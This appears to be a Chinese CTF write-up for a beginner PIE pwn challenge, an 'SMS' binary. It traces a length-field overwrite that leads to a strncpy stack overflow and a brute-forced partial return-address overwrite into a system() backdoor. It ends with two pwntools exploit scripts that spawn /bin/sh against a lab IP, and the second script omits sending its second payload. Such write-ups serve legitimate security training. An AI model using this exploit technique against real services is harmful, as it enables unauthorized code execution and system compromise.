(ps:pie入门题目)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
搭建环境:

1.查看文件保护机制

ubuntu运行ida*64远程调试文件,ida打开程序

进入程序后在函数窗口可以看到frontdoor函数,进入看看

可以看到是用fget函数读入数据,然后调用system函数运行这些数据,看看给出的伪代码

看回main函数

除了puts函数就是dosms函数,跟进到sms函数


显然用memset函数初始化数据,然后先后调用了set_user和set_sms函数,并且传入了一个位于ebp-C0h的位置且属于dosms函数的局部变量记为v1。

跟进set_user函数(看伪代码吧)

开始memset初始化s字符数组,然后puts,printf输出,再就是fgets向s指向的位置(rbp-90h)写入数据。之后,读入了数据的s字符数组,通过一个for循环向传入的a1变量(即dosms的局部变量v1)的a1+(0~40)+ 140处逐个字节赋值

跟进set_sms函数(伪代码)

重要的地方在于,fgets向s处读入数据,然后通过strncpy函数,将读入的s的 (a1+180) 长度,复制到a1(即dosms函数的局部变量所指位置)。

a1+180处 要被当做数值来执行strncpy,只要a1+180处数值足够大就可以造成栈溢出。

根据上面分析的set_user函数可以知道,a1+180处的数据刚刚好是可以改写的。

a1+180处改写后,通过向set_sms函数的局部变量s(rbp-400h)写入数据,即可通过strncpy函数的赋值字符,进行劫持eip最后两个字节。(a1(即dosms函数的v1变量)在栈中的位置是ebp-c0h,所以要溢出劫持eip的两个字节,至少需要0xc0+0x8+0x2=0xca)

(程序的地址的最后三位16进制是不变的)现在只需要将eip劫持到这位置就好,然而strncpy是按字节赋值的,0x?900才够16位即2字节。所以随便改个0x9900开始爆破就可以了

6.编写exp


from pwn import *

context.binary = './SMS'

while True:
    link =  remote("192.168.93.137","6666",timeout=1)
    payload1 = 'A' * 40 + '\xca'
    link.sendlineafter(">",payload1)
    payload2 = 'A' * (0xca - 0x2) + '\x01\x99'
    link.sendlineafter(">",payload2)
    try:
        link.recv(timeout=1)
    except EOFError:
        link.close()
        continue
    else:
    #else 可以不需要,上面已有continue限制,到此必然是成功进入frontdoor
        link.sendline('/bin/sh\x00')
        link.interactive()
        break

也可以这么写:


from pwn import *

context.binary = './SMS'

for i in range(256):
    link = remote("192.168.93.137","6666",timeout=1)
    payload1 = 'A' * 40 + '\xca'
    link.sendlineafter(">",payload1)
    payload2 = 'A' * (0xca - 0x2) + '\x01\x99'
    try:
        link.sendline('/bin/sh\x00')
        link.interactive()
    except:
    #最好写成except EOFError:
        print 'failed'
    link.close()